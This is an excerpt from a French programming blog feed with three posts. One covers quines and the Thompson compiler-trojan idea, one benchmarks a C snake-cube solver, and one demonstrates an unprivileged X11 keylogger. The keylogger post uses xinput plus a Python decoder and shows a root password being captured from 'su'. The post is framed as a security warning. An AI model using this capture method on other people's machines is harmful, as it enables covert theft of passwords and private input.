<p>Il est également possible d&#8217;écrire un programme qui en génère un autre, qui lui-même en génère un autre… sans jamais &laquo;&nbsp;boucler&nbsp;&raquo;.<br />
Je me suis amusé à en écrire deux exemples.</p>
<h4>Fibonacci</h4>
<p>Le premier calcule la <a href="http://fr.wikipedia.org/wiki/Suite_de_Fibonacci">suite de Fibonacci</a>. Ou plutôt, il contient les deux premiers éléments de la suite (<em>F(0)=0</em> et <em>F(1)=1</em>), génère un programme qui contiendra <em>F(1)</em> et <em>F(2)</em>, qui lui-même générera un programme qui contiendra <em>F(2)</em> et <em>F(3)</em>, etc.&nbsp;:</p>
<pre>#include&lt;stdio.h&gt;
main(){int a=<strong>0</strong>,b=<strong>1</strong>;char*s="#include&lt;stdio.h&gt;%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}</pre>
<p>Pour obtenir <em>F(10)</em> et <em>F(11)</em> (suivre les valeurs des variables <code>a</code> et <code>b</code>)&nbsp;:</p>
<pre>$ for i in {1..10}; do gcc quine.c &#038;&#038; ./a.out | tee quine.c; done
#include&lt;stdio.h&gt;
main(){int a=<strong>1</strong>,b=<strong>1</strong>;char*s="#include&lt;stdio.h&gt;%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include&lt;stdio.h&gt;
main(){int a=<strong>1</strong>,b=<strong>2</strong>;char*s="#include&lt;stdio.h&gt;%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include&lt;stdio.h&gt;
main(){int a=<strong>2</strong>,b=<strong>3</strong>;char*s="#include&lt;stdio.h&gt;%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include&lt;stdio.h&gt;
main(){int a=<strong>3</strong>,b=<strong>5</strong>;char*s="#include&lt;stdio.h&gt;%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include&lt;stdio.h&gt;
main(){int a=<strong>5</strong>,b=<strong>8</strong>;char*s="#include&lt;stdio.h&gt;%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include&lt;stdio.h&gt;
main(){int a=<strong>8</strong>,b=<strong>13</strong>;char*s="#include&lt;stdio.h&gt;%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include&lt;stdio.h&gt;
main(){int a=<strong>13</strong>,b=<strong>21</strong>;char*s="#include&lt;stdio.h&gt;%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include&lt;stdio.h&gt;
main(){int a=<strong>21</strong>,b=<strong>34</strong>;char*s="#include&lt;stdio.h&gt;%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include&lt;stdio.h&gt;
main(){int a=<strong>34</strong>,b=<strong>55</strong>;char*s="#include&lt;stdio.h&gt;%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}
#include&lt;stdio.h&gt;
main(){int a=<strong>55</strong>,b=<strong>89</strong>;char*s="#include&lt;stdio.h&gt;%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b,a+b,34,s,34,10);}%c";printf(s,10,b,a+b,34,s,34,10);}</pre>
<p>Ce que je trouve fabuleux, c&#8217;est que chaque programme, qui connaît deux valeurs de la suite, sait non seulement générer un nouveau programme qui calculera la valeur suivante (ça, c&#8217;est facile), mais en plus, ce nouveau programme saura lui-même générer un autre programme qui calculera la prochaine, etc. <b>Chaque programme transmet en quelque sorte son <em>code génétique</em> à sa descendance.</b></p>
<h4>PGCD</h4>
<p>Suivant le même principe, il est possible de calculer le <a href="http://fr.wikipedia.org/wiki/Plus_grand_commun_diviseur">PGCD</a> de deux nombres. Nous pouvons générer une lignée de programmes qui calculeront chacun une étape de l&#8217;<a href="http://fr.wikipedia.org/wiki/Algorithme_d%27Euclide">algorithme d&#8217;Euclide</a>.</p>
<p>Cet exemple permet de calculer <em>PGCD(64,36)</em>&nbsp;:</p>
<pre>#include&lt;stdio.h&gt;
main(){int a=<strong>64</strong>,b=<strong>36</strong>;char*s="#include&lt;stdio.h&gt;%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b==0?a:b,b==0?0:a%%b,34,s,34,10);}%c";printf(s,10,b==0?a:b,b==0?0:a%b,34,s,34,10);}</pre>
<p>Le caractère «&nbsp;<code>%</code>&nbsp;» ayant une signification dans le formatage de <code>printf</code>, nous devons le doubler.<br />
<em>Nous aurions pu utiliser à la place <code>a-a/b*b</code> (ce qui revient à peu près au même, si <code>a</code> et <code>b</code> sont positifs avec <code>a&gt;b</code>).</em></p>
<p>Voici le résultat (suivre les valeurs des variables <code>a</code> et <code>b</code>)&nbsp;:</p>
<pre>$ for i in {1..5}; do gcc quine.c &#038;&#038; ./a.out | tee quine.c; done
#include&lt;stdio.h&gt;
main(){int a=<strong>36</strong>,b=<strong>28</strong>;char*s="#include&lt;stdio.h&gt;%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b==0?a:b,b==0?0:a%%b,34,s,34,10);}%c";printf(s,10,b==0?a:b,b==0?0:a%b,34,s,34,10);}
#include&lt;stdio.h&gt;
main(){int a=<strong>28</strong>,b=<strong>8</strong>;char*s="#include&lt;stdio.h&gt;%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b==0?a:b,b==0?0:a%%b,34,s,34,10);}%c";printf(s,10,b==0?a:b,b==0?0:a%b,34,s,34,10);}
#include&lt;stdio.h&gt;
main(){int a=<strong>8</strong>,b=<strong>4</strong>;char*s="#include&lt;stdio.h&gt;%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b==0?a:b,b==0?0:a%%b,34,s,34,10);}%c";printf(s,10,b==0?a:b,b==0?0:a%b,34,s,34,10);}
#include&lt;stdio.h&gt;
main(){int a=<strong>4</strong>,b=<strong>0</strong>;char*s="#include&lt;stdio.h&gt;%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b==0?a:b,b==0?0:a%%b,34,s,34,10);}%c";printf(s,10,b==0?a:b,b==0?0:a%b,34,s,34,10);}
#include&lt;stdio.h&gt;
main(){int a=<strong>4</strong>,b=<strong>0</strong>;char*s="#include&lt;stdio.h&gt;%cmain(){int a=%i,b=%i;char*s=%c%s%c;printf(s,10,b==0?a:b,b==0?0:a%%b,34,s,34,10);}%c";printf(s,10,b==0?a:b,b==0?0:a%b,34,s,34,10);}</pre>
<p>Une fois la solution trouvée (lorsque <code>b</code> vaut <em>0</em>), le programme se comporte comme un vrai <em>quine</em> (il se regénère à l&#8217;identique).</p>
<h3>Compilateur magique</h3>
<p>Passons maintenant à l&#8217;étape suivante. Jusqu&#8217;à maintenant, nous avons généré un programme qui génère un autre programme… Très bien.<br />
Mais ces programmes générés (en fait, leur code source), nous les compilons avec un <a href="http://fr.wikipedia.org/wiki/Compilateur">compilateur</a> (<code>gcc</code>).</p>
<p>Mais un compilateur, c&#8217;est un programme, qui en plus est <a href="http://fr.wikipedia.org/wiki/Compilateur#Le_probl.C3.A8me_de_l.27amor.C3.A7age_.28bootstrap.29">écrit dans le langage qu&#8217;il doit compiler</a>. En particulier, le compilateur <em>C</em> est écrit en <em>C</em>.</p>
<p>À partir là, il est possible de faire des choses très intéressantes, comme l&#8217;a expliqué en 1984 <a href="http://fr.wikipedia.org/wiki/Ken_Thompson">Ken Thompson</a> dans son célèbre article «&nbsp;<em><a href="http://cm.bell-labs.com/who/ken/trust.html">Reflections on Trusting Trust</a></em>&nbsp;» (que je vais paraphraser).</p>
<p>Le code suivant est une idéalisation du code du compilateur C qui interprète le <a href="http://fr.wikipedia.org/wiki/Caract%C3%A8re_d%27%C3%A9chappement">caractère d&#8217;échappement</a>&nbsp;:</p>
<pre>c = next();
if (c != '\\')
    return c;
c = next();
if (c == '\\')
    return '\\';
if (c == 'n')
    return '\n';</pre>
<p>C&#8217;est &laquo;&nbsp;magique&nbsp;&raquo;&nbsp;: le programme <em>sait</em>, de manière totalement portable, quel caractère est compilé pour un saut de ligne pour n&#8217;importe quel jeu de caractères. Le fait qu&#8217;il le sache lui permet de se recompiler lui-même, en perpétuant ainsi cette connaissance.</p>
<p>Supposons que nous voulions rajouter le caractère spécial «&nbsp;<code>\v</code>&nbsp;» pour écrire une &laquo;&nbsp;tabulation verticale&nbsp;&raquo;&nbsp;:</p>
<pre>c = next();
if (c != '\\')
    return c;
c = next();
if (c == '\\')
    return '\\';
if (c == 'n')
    return '\n';
if (c == 'v')
    return '\v';</pre>
<p>Évidemment, ce code ne compile pas, car le compilateur ne connaît pas «&nbsp;<code>\v</code>&nbsp;». Mais il suffit de lui apprendre&nbsp;: le code <a href="http://fr.wikipedia.org/wiki/American_Standard_Code_for_Information_Interchange">ASCII</a> de la tabulation verticale est <code>11</code>. Nous pouvons donc modifier temporairement le compilateur, pour en générer une nouvelle version&nbsp;:</p>
<pre>c = next();
if (c != '\\')
    return c;
c = next();
if (c == '\\')
    return '\\';
if (c == 'n')
    return '\n';
if (c == 'v')
    return 11;</pre>
<p>La nouvelle version du compilateur accepte maintenant «&nbsp;<code>\v</code>&nbsp;», et peut donc compiler son propre code source contenant ce caractère. Le code source contenant le «&nbsp;<code>11</code>&nbsp;» peut donc être totalement supprimé et oublié.</p>
<p><em>C&#8217;est un concept profond.</em> Il suffit de lui dire une fois, l&#8217;auto-référencement fait le reste.</p>
<h4>Cheval de Troie (quasi-)indétectable</h4>
<p>Considérons alors la fonction <code>compile(s)</code> permettant de compiler une ligne de code source. Une simple modification va délibérément mal compiler la source lorsqu&#8217;un motif est détecté&nbsp;:</p>
<pre>void compile(char * s) {
    if (match(s, "pattern")) {
        compile("bug");
        return;
    }
    …
}</pre>
<p>Supposons que le motif permette d&#8217;identifier la commande <code>login</code>, et que le <em>bug</em> (<a href="http://fr.wikipedia.org/wiki/Cheval_de_Troie_%28informatique%29">cheval de Troie</a>) compilé permette d&#8217;accepter, en plus du mot de passe correct, un mot de passe prédéfini quelconque&nbsp;: nous pourrions, en connaissant ce &laquo;&nbsp;faux&nbsp;&raquo; mot de passe, nous connecter sur n&#8217;importe quelle machine possédant le programme <code>login</code> compilé avec ce compilateur.</p>
<p>Mais évidemment, un tel bout de code dans le <em>compilateur C</em> ne passerait pas inaperçu et serait détecté très rapidement… Sauf avec l&#8217;ultime étape&nbsp;:</p>
<pre>void compile(char * s) {
    if (match(s, "pattern1")) {
        compile("bug1");
        return;
    }
    if (match(s, "pattern2")) {
        compile("bug2");
        return;
    }
    …
}</pre>
<p>Ici, nous ajoutons un second cheval de Troie. Le premier motif correspond toujours à la commande <code>login</code>, tandis que le second motif correspond au <em>compilateur C</em>. <strong>Le second <em>bug</em> est un programme auto-reproducteur</strong> (tel que ceux que nous avons vus dans ce billet) qui insère les deux chevaux de Troie. Il nécessite une phase d&#8217;apprentissage comme dans l&#8217;exemple avec «&nbsp;<code>\v</code>&nbsp;». Nous compilons d&#8217;abord la source ainsi modifiée avec le <em>compilateur C</em> normal pour générer un binaire corrompu, que nous utilisons désormais comme <em>compilateur C</em>. Maintenant, nous pouvons supprimer les <em>bugs</em> de la source, le nouveau compilateur va les réinsérer à chaque fois qu&#8217;il sera compilé.</p>
<p><strong>Ainsi, en compilant un code source &laquo;&nbsp;propre&nbsp;&raquo; avec un compilateur dont le code source est &laquo;&nbsp;propre&nbsp;&raquo; et que nous avons compilé nous-mêmes, nous générons un binaire contenant un cheval de Troie&nbsp;!</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2011/11/programmes-auto-reproducteurs-quines/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Keylogger sous GNU/Linux : enregistrer les touches tapées au clavier</title>
		<link>http://blog.rom1v.com/2011/11/keylogger-sous-gnulinux-enregistrer-les-touches-tapees-au-clavier/</link>
		<comments>http://blog.rom1v.com/2011/11/keylogger-sous-gnulinux-enregistrer-les-touches-tapees-au-clavier/#comments</comments>
		<pubDate>Tue, 01 Nov 2011 22:09:57 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Astuces]]></category>
		<category><![CDATA[Outils]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[puf]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[sécurité]]></category>
		<category><![CDATA[serveur x]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=3212</guid>
		<description><![CDATA[En tant que root, il est bien sûr potentiellement possible de faire ce que l&#8217;on veut sur sa machine, comme enregistrer toutes les touches tapées au clavier (keylogger). Mais aussi incroyable (et inquiétant) que cela puisse paraître, il est possible de faire exactement la même chose… sans être root. Démonstration Et en plus, c&#8217;est tout [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.rom1v.com/wp-content/uploads/2011/11/keyboard.png"><img src="http://blog.rom1v.com/wp-content/uploads/2011/11/keyboard.png" alt="" title="keyboard" width="128" height="128" class="alignright size-full wp-image-3235" /></a><br />
En tant que <a href="http://fr.wikipedia.org/wiki/Utilisateur_root"><em>root</em></a>, il est bien sûr potentiellement possible de faire ce que l&#8217;on veut sur sa machine, comme enregistrer toutes les touches tapées au clavier (<a href="http://fr.wikipedia.org/wiki/Enregistreur_de_frappe">keylogger</a>).</p>
<p>Mais aussi incroyable (et inquiétant) que cela puisse paraître, il est possible de faire exactement la même chose… sans être <em>root</em>.</p>
<h3>Démonstration</h3>
<p>Et en plus, c&#8217;est tout simple&nbsp;: il suffit pour un programme d&#8217;écouter les événements clavier envoyés par le <a href="http://fr.wikipedia.org/wiki/X_Window_System">serveur X</a>.<br />
Prenons un outil qui le fait déjà (ça nous évitera de le coder), <code>xinput</code>&nbsp;:</p>
<pre>apt-get install xinput</pre>
<p>Pour obtenir la liste des périphériques utilisables&nbsp;:</p>
<pre>xinput list</pre>
<p>Repérer la ligne concernant le clavier (contenant «&nbsp;<code>AT</code>&nbsp;») et noter son <em>id</em> (ici <code>11</code>).</p>
<pre>$ xinput list | grep AT
    ↳ AT Translated Set 2 keyboard            	id=11	[slave  keyboard (3)]</pre>
<p>Puis démarrer l&#8217;écoute sur ce périphérique dans un terminal&nbsp;:</p>
<pre>xinput test 11</pre>
<p>Au fur et à mesure que l&#8217;on tape du texte, la sortie standard de <code>xinput</code> indique quelles touches sont tapées&nbsp;:</p>
<pre>key press   56
key release 56
key press   32
key release 32
key press   57
key release 57
key press   44
key release 44
key press   32
key press   30
key release 32
key release 30
key press   27
key release 27</pre>
<p>Cela fonctionne même lorsqu&#8217;on écrit dans une autre application, quelque soit l&#8217;utilisateur qui l&#8217;a démarrée. En particulier, si dans un autre terminal on exécute la commande suivante, le mot de passe est bien capturé&nbsp;:</p>
<pre>$ su -
Mot de passe : </pre>
<p>Un programme avec de simples droits utilisateur peut donc écouter tout ce qui est tapé au clavier (et donc l&#8217;enregistrer, l&#8217;envoyer à un serveur…).</p>
<h3>Décodage</h3>
<h4>Convertisseur</h4>
<p>La sortie de <code>xinput</code> n&#8217;est pas très utilisable en pratique. Pour la décoder, un programme d&#8217;une vingtaine de lignes en <em>Python</em> suffit (fortement inspiré de <a href="http://ardoris.wordpress.com/2011/04/24/linux-keylogger-proof-of-concept/">ce PoC</a>). Appelons-le <a href="http://dl.rom1v.com/keylogger/xinput-decoder.py"><code>xinput-decoder.py</code></a>&nbsp;:</p>
<pre>#!/usr/bin/env python
# -*- coding: UTF-8 -*-
import re, sys
from subprocess import *

def get_keymap():
    keymap = {}
    table = Popen(['xmodmap', '-pke'], stdout=PIPE).stdout
    for line in table:
        m = re.match('keycode +(\d+) = (.+)', line.decode())
        if m and m.groups()[1]:
            keymap[m.groups()[0]] = m.groups()[1].split()[0]
    return keymap

if __name__ == '__main__':
    keymap = get_keymap();
    for line in sys.stdin:
        m = re.match('key press +(\d+)', line.decode())
        if m:
            keycode = m.groups()[0]
            if keycode in keymap:
                print keymap[keycode],
            else:
                print '?' + keycode,</pre>
<p>Pour convertir le résultat à la volée&nbsp;:</p>
<pre>xinput test 11 | ./xinput-decoder.py</pre>
<h4>Problème de redirection</h4>
<p>Le problème, c&#8217;est que lorsqu&#8217;on redirige la sortie de <code>xinput</code> dans un fichier ou en entrée d&#8217;un autre programme, le contenu ne s&#8217;affiche que par salves (d&#8217;environ 128 caractères apparemment). Sans doute une histoire de <a href="http://fr.wikipedia.org/wiki/M%C3%A9moire_tampon">buffer</a>, à mon avis activé uniquement lorsque la fonction <a href="http://www.kernel.org/doc/man-pages/online/pages/man3/isatty.3.html"><code>isatty()</code></a> retourne <em>true</em>.</p>
<p>Pour contourner le problème et récupérer les dernières touches tapées, il est possible de démarrer la commande dans un <code>screen</code>&nbsp;:</p>
<pre>screen xinput test 11</pre>
<p>puis, à la fin de la capture, d&#8217;enregistrer le contenu dans un fichier. Pour cela, dans le <code>screen</code> ainsi ouvert, taper <code>Ctrl+A</code>, <code>:</code>, puis <code>hardcopy -h /tmp/log</code>.<br />
De cette manière, <code>/tmp/log</code> contiendra toute la capture.</p>
<p>Pour convertir le résultat&nbsp;:</p>
<pre>$ ./xinput-parser.py &lt; /tmp/log
s u space minus Return <em>mon mot de passe root</em> Return a p t minus g e t space u p d a t e Return Control_L a colon</pre>
<h4>Améliorations</h4>
<p>Une solution plus pratique serait peut-être de démarrer <code>xinput</code> par le programme <em>Python</em>, en lui faisant croire qu&#8217;il écrit dans un <em>TTY</em> (ce que je ne sais pas faire). <a href="http://www.kirsle.net/blog/kirsle/building-a-better-keylogger">Quelqu&#8217;un</a> l&#8217;a fait <a href="http://sh.kirsle.net/keylog2">en <em>Perl</em></a>.<br />
Il faudrait également prendre en compte le relâchement des touches dans le décodeur, car lorsqu&#8217;il affiche «&nbsp;<code>Shift_L a b</code>&nbsp;», nous n&#8217;avons aucun moyen de savoir si la touche <code>Shift</code> a été relâchée avant le <code>a</code>, entre le <code>a</code> et le <code>b</code>, ou après le <code>b</code>.</p>
<h3>Liens</h3>
<p>Merci à <a href="http://papillon-butineur.blogspot.com/2011/10/keylogger-sous-linux.html">Papillon-butineur</a> de m&#8217;avoir fait découvrir ce fonctionnement étonnant du <em>serveur X</em>.<br />
Je vous recommande le billet suivant (en anglais) ainsi que ses commentaires&nbsp;: <a href="http://theinvisiblethings.blogspot.com/2011/04/linux-security-circus-on-gui-isolation.html">The Linux Security Circus: On GUI isolation</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2011/11/keylogger-sous-gnulinux-enregistrer-les-touches-tapees-au-clavier/feed/</wfw:commentRss>
		<slash:comments>23</slash:comments>
		</item>
		<item>
		<title>Résoudre le cube-serpent 300 fois plus rapidement en C</title>
		<link>http://blog.rom1v.com/2011/10/resoudre-le-cube-serpent-300-fois-plus-rapidement-en-c/</link>
		<comments>http://blog.rom1v.com/2011/10/resoudre-le-cube-serpent-300-fois-plus-rapidement-en-c/#comments</comments>
		<pubDate>Tue, 18 Oct 2011 23:33:00 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Astuces]]></category>
		<category><![CDATA[Outils]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[c]]></category>
		<category><![CDATA[développement]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=3104</guid>
		<description><![CDATA[Il y a 3 semaines, j&#8217;avais écrit un solveur de cube-serpent en Python. Un commentaire, en apparence anodin, m&#8217;a mis dans la tête une question que je ne pouvais pas laisser sans réponse&#160;: combien de fois plus rapidement s&#8217;exécuterait le même algorithme implémenté en C que celui en Python (interprêté)&#160;? 2×&#160;? 10×&#160;? 50×&#160;? Pour y [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.rom1v.com/wp-content/uploads/2011/10/gccegg-65.png"><img src="http://blog.rom1v.com/wp-content/uploads/2011/10/gccegg-65.png" alt="" title="gccegg-65" width="109" height="130" class="alignright size-full wp-image-3147" /></a><br />
Il y a 3 semaines, j&#8217;avais écrit un <a href="http://blog.rom1v.com/2011/09/resoudre-le-cube-serpent-en-python/">solveur de cube-serpent en <em>Python</em></a>.</p>
<p>Un <a href="http://blog.rom1v.com/2011/09/resoudre-le-cube-serpent-en-python/#comment-72561">commentaire</a>, en apparence anodin, m&#8217;a mis dans la tête une question que je ne pouvais pas laisser sans réponse&nbsp;: <strong>combien de fois plus rapidement s&#8217;exécuterait le même algorithme implémenté en <a href="http://fr.wikipedia.org/wiki/C_%28langage%29">C</a> que celui en <a href="http://fr.wikipedia.org/wiki/Python_%28langage%29">Python</a> (interprêté)&nbsp;?</strong> 2×&nbsp;? 10×&nbsp;? 50×&nbsp;?</p>
<p>Pour y répondre, il fallait donc implémenter le même algorithme en <em>C</em>. En plus, c&#8217;était l&#8217;occasion de rendre hommage à <a href="http://www.pcinpact.com/actu/news/66368-dennis-ritchie-deces-langage-c-unix.htm">Dennis Ritchie</a>. Après avoir découvert <em>Python</em>, j&#8217;ai donc (ré)appris le <em>C</em> (et ça fait drôle de rejouer avec les pointeurs après plusieurs années&nbsp;!). </p>
<h3>Implémentation</h3>
<p>Je ne vais pas m&#8217;attarder sur l&#8217;algorithme, c&#8217;est exactement le même principe que sur mon billet précédent, et j&#8217;ai essayé de garder les mêmes noms de fonctions.</p>
<p>La structure du cube et ses dimensions (à modifier selon votre cube-serpent) sont définies par <a href="http://c.developpez.com/cours/bernard-cassagne/node104.php">macro</a> (les fameux <code>#define</code>). Par rapport au programme <em>Python</em>, il faut en plus préciser la taille des tableaux.</p>
<p>La seule partie que j&#8217;ai réimplémentée complètement différemment est la fonction <code>get_useful_points</code> de la version <em>Python</em> (souvenez-vous, avec des <a href="http://docs.python.org/reference/expressions.html#yieldexpr">yield</a>s dans une <a href="http://fr.wikipedia.org/wiki/Fonction_r%C3%A9cursive">fonction récursive</a>). La fonction équivalente dans la version <em>C</em> s&#8217;appelle <code>symmetry_helper_inc_cursor(int cursor[])</code>&nbsp;: au lieu de retourner au fur et à mesure chacun des points à traiter, elle donne le point &laquo;&nbsp;suivant&nbsp;&raquo; de celui passé en paramètre.</p>
<p>De même, les solutions trouvées sont données dans un <a href="http://en.wikipedia.org/wiki/Callback_%28computer_science%29">callback</a> (la fonction <code>solution</code>), toujours dans l&#8217;objectif de supprimer simplement les <em>yield</em>s.</p>
<p>J&#8217;ai tout mis dans un seul fichier <code>csnakesolver.c</code> (par simplicité, même si dans les règles de l&#8217;art, plusieurs fichiers <code>.c</code> avec leurs <code>.h</code> auraient été préférables).</p>
<h3>Performances</h3>
<p>Passons maintenant à ce qui nous intéresse&nbsp;: les performances.</p>
<h4>Exemples de référence</h4>
<p>Je fais mes tests sur 3 exemples&nbsp;: un rapide, un <a href="http://blog.rom1v.com/2011/09/resoudre-le-cube-serpent-en-python/#comment-72413">moyen</a> et un <a href="http://blog.rom1v.com/2011/09/resoudre-le-cube-serpent-en-python/#comment-72410">long</a>.</p>
<p>Le rapide est un 3×3×3, les deux autres sont des 4×4×4. Voici leurs structures respectives&nbsp;:</p>
<pre>// (R)apide
{2, 1, 1, 2, 1, 2, 1, 1, 2, 2, 1, 1, 1, 2, 2, 2, 2}
// (M)oyen
{2, 1, 2, 1, 1, 3, 1, 2, 1, 2, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 1, 1, 1, 1, 1, 2, 3, 1, 1, 1, 3, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 3, 1}
// (L)ong
{1, 1, 2, 1, 1, 3, 1, 2, 1, 2, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1 ,1, 2, 2, 1, 1, 1, 1, 1, 2, 3, 1, 1, 1, 3, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 3}</pre>
<h4>Protocole</h4>
<p>Je vais comparer, grâce à la commande <code>time</code>, le temps nécessaire pour trouver une solution&nbsp;:</p>
<pre>time ./csnakesolver</pre>
<p>Le programme doit s&#8217;arrêter après avoir trouvé la première. Les programmes <em>Python</em> et <em>C</em> trouveront forcément les mêmes et dans le même ordre, vu qu&#8217;ils implémentent le même algorithme.</p>
<h4>Compilation</h4>
<p>Il est intéressant de tester les performances en compilant sans optimisations&nbsp;:</p>
<pre>gcc csnakesolver.c -o csnakesolver</pre>
<p>et avec&nbsp;:</p>
<pre>gcc -O3 csnakesolver.c -o csnakesolver</pre>
<h4>Résultats</h4>
<table>
<tr>
<td></td>
<th style="text-align:center"><em>Python</em></th>
<th style="text-align:center"><em>C</em> (<code>gcc</code>)</th>
<th style="text-align:center"><em>C</em> (<code>gcc -O3</code>)</th>
</tr>
<tr>
<th>Exemple R</th>
<td style="text-align:center"><ins>instantané</ins></td>
<td style="text-align:center"><ins>instantané</ins></td>
<td style="text-align:center"><ins>instantané</ins></td>
</tr>
<tr>
<th>Exemple M</th>
<td style="text-align:center">5m6.903s</td>
<td style="text-align:center">0m3.715s <em>(×83)</em></td>
<td style="text-align:center">0m0.826s <em>(×372)</em></td>
</tr>
<tr>
<th>Exemple L</th>
<td style="text-align:center">3h53m17.012s</td>
<td style="text-align:center">5m4.533s <em>(×46)</em></td>
<td style="text-align:center">0m50.681s <em>(×276)</em></td>
</tr>
</table>
<p>Le gain est loin d&#8217;être négligeable, un gain de ×276 dans un cas et ×372 dans l&#8217;autre&nbsp;! Honnêtement, je ne m&#8217;y attendais pas. Tout au plus, j&#8217;espérais ×40~×50, sans trop y croire.</p>
<h4>Origines des gains de performances</h4>
<p>Deux différences expliquent ces gains&nbsp;:</p>
<ul>
<li><em>Python</em> est <a href="http://fr.wikipedia.org/wiki/Langage_interpr%C3%A9t%C3%A9_%28informatique%29">interprété</a>, alors que <em>C</em> est <a href="http://fr.wikipedia.org/wiki/C_%28langage%29#Compilation">compilé</a>&nbsp;;</li>
<li>En tant que langage de haut-niveau, <em>Python</em> subit le <a href="http://fr.wikipedia.org/wiki/Langage_de_haut_niveau#Co.C3.BBt_de_cette_abstraction">coût de l&#8217;abstraction</a>.</li>
</ul>
<p>Il serait intéressant de savoir dans quelle mesure les gains proviennent de la compilation et dans quelle mesure ils proviennent de l&#8217;abstraction <em>(nous savons déjà que le facteur de gain entre les programmes compilés avec et sans <code>-O3</code> provient uniquement de la compilation)</em>.</p>
<p>Une approche intéressante pour répondre à cette question serait de compiler le programme <em>Python</em> en code natif (je n&#8217;ai encore jamais fait).</p>
<h3>Débogueur</h3>
<p>Travailler sur un mini-projet personnel permet toujours d&#8217;apprendre des choses. En dehors du langage lui-même, j&#8217;ai découvert le <a href="http://fr.wikipedia.org/wiki/D%C3%A9bogueur">débogueur</a> <a href="http://www.gnu.org/s/gdb/">gdb</a>.</p>
<p>N&#8217;ayant toujours utilisé des débogueurs qu&#8217;en mode graphique (pour d&#8217;autres langages), je m&#8217;attendais à ce qu&#8217;il soit un peu long à prendre en main. Mais en fait, pas du tout, j&#8217;ai été agréablement surpris par sa simplicité d&#8217;utilisation.</p>
<p>Avec certains langages, on peut se passer de débogueur pour de petits programmes. <em>C</em> ne fait pas partie de ceux-là, par exemple dans ce cas précis&nbsp;:</p>
<pre>$ ./csnakesolver
Erreur de segmentation</pre>
<p>Il faut d&#8217;abord compiler le programme avec l&#8217;option de <em>debug</em>&nbsp;:</p>
<pre>gcc -g csnakesolver.c -o csnakesolver</pre>
<p>Puis lancer le programme avec le débogueur&nbsp;:</p>
<pre>gdb csnakesolver</pre>
<p>Un prompt permet d&#8217;entrer des commandes&nbsp;:</p>
<pre>(gdb) </pre>
<p>Pour placer un point d&#8217;arrêt à la ligne 215&nbsp;:</p>
<pre>(gdb) break 215</pre>
<p>Pour démarrer le programme&nbsp;:</p>
<pre>(gdb) run</pre>
<p>Le programme s&#8217;arrête sur le point d&#8217;arrêt&nbsp;:</p>
<pre>Breakpoint 1, volume_helper_can_move (vector=...) at csnakesolver.c:215
215	    int cursor_position_value = volume_helper.cursor[vector.position];</pre>
<p>Pour afficher le bout de code source concerné&nbsp;:</p>
<pre>(gdb) l
210	void volume_helper_set_flag(int cursor[], bool value) {
211	    * volume_helper_get_flag_pointer(cursor) = value;
212	}
213
214	bool volume_helper_can_move(vector_s vector) {
215	    int cursor_position_value = volume_helper.cursor[vector.position];
216	    int new_value = cursor_position_value + vector.value;
217	    int future_cursor[DIMENSIONS_COUNT];
218	    int sign, i, abs_value;
219	    if (new_value &lt; 0 || new_value &gt;= dimensions[vector.position]) {</pre>
<p>Il est possible de consulter les valeurs des variables grâce à <code>p</code> (<em>print</em>)&nbsp;:</p>
<pre>(gdb) p vector.position
$1 = 0
(gdb) p vector
$2 = {position = 0, value = 1}</pre>
<p>Pour afficher des <a href="http://www.chemie.fu-berlin.de/chemnet/use/info/gdb/gdb_9.html#SEC54">tableaux</a>, il faut indiquer le pointeur et la longueur du tableau à afficher (ici 3)&nbsp;:</p>
<pre>(gdb) p * volume_helper.cursor @ 3
$3 = {0, 0, 0}</pre>
